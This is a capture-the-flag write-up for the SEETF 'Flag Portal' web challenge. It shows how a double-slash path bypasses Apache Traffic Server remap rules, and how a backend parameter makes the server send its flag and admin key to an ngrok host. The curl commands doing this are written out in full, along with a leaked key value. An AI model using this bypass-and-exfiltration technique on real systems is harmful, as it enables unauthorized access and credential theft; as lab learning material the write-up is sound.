This is a really nice CTF challenge to understand the behaviour and working of a reverse proxy or you can say a load balancer. SEETF had some really new challenges. Most of the challenges were new and I learned a lot from them. Even the challenges of 100 points were unique, I have never played such challenges before. And I am talking about each category here, web, reverse, crypto(which I didn’t solve), pwn(quite hard), forensics, etc. This is a write-up of one of those challenges. it’s a web challenge of 100 points. It is an easy challenge but it teaches a lot.
You can download this challenge directly from here or you can go to the CTF website. but I don’t know how long they will keep it alive. And the challenge is hosted on http://flagportal.chall.seetf.sg:10001.
Flag Portal
unzip the zip file, and look at the source. we have extracted the three dirs and one docker-compose file which is building three docker containers along with forwarding containers’ ports with the base system.
The first thing we can see is that there are two flags. There is an ADMIN_KEY from environment variables (just a guess for now). The first container which will be built by the docker-compose command is the proxy server. In the proxy dir, there are two files first one is Dockerfile and the second one is remap.config. We can look into the Dockerfile to know how remap.config is being used.
Hmmm, seems like a lot, but it’s not. in brief, there is this apache trafficserver which is being downloaded here and that config file is for this proxy server only.
next, we can look into the config file
these are the endpoints the proxy server will route to the backend. for example, if a user is requesting /api it will forward it to http://backend/. it makes sense cause that is how a proxy should work (let the traffic go through itself)
The `backend` and `flagportal` are the hostnames which must be configured already in the /etc/hosts file for each container running in their system. Now we should look into the source code of the backend webserver.
there are three routes:
/
/flag-plz
/flag-count
the /flag-plz route returns a flag if we supply a correct value of ADMIN_KEY header. but we don’t have it. for now, we can leave this part and view the ./flagportal dir. there is a ruby file which seems like another web server file just like we saw the python one.
/admin endpoint looks kinda buggy. it takes the request from the proxy server and selects the value of the backend parameter and then forms an HTTP POST request with Admin-Key and First-Flag headers. we can do one thing, open a local port on our system and forward it using Ngrok or you can use beeceptor instead. We will send a request to the endpoint http://flagportal.chall.seetf.sg:10001/admin?backend=http://your-server.net
and it should send an HTTP POST request to the given parameter along with flag and admin-key header, right?
But it didn’t work. well, we missed one thing. Take a look at the routes again:
map /api/flag-plz http://backend/forbidden
map /api http://backend/
map /admin http://flagportal/forbidden
map / http://flagportal/
`/admin` is the endpoint we want to request. but it is forwarding it to `/forbidden` endpoint. there is a way to exploit trafficserver proxy. you can basically add to slashes (//admin) to go to the correct endpoint. it is working because the reverse proxy is taking `/*` (4th line) cause there is an endpoint `/`. the same condition is with other endpoints. so, in this case, in order to pass my request to the backend, we will do something like this:
curl http://flagportal.chall.seetf.sg:10001//admin\?backend=http://6f2c-103-15-255-38.ngrok.io
now we have our first flag and Admin-key header’s value. there was this second flag at `/flag-plz` endpoint. the same thing is happing with this endpoint. but this time the ADMIN-KEY header is required and we need to make it a POST request sending the target value (our ngrok domain)
curl http://flagportal.chall.seetf.sg:10001/api//flag-plz -d 'target=http://6f2c-103-15-255-38.ngrok.io' -H 'ADMIN-KEY: spendable-snoring-character-ditzy-sepia-lazily'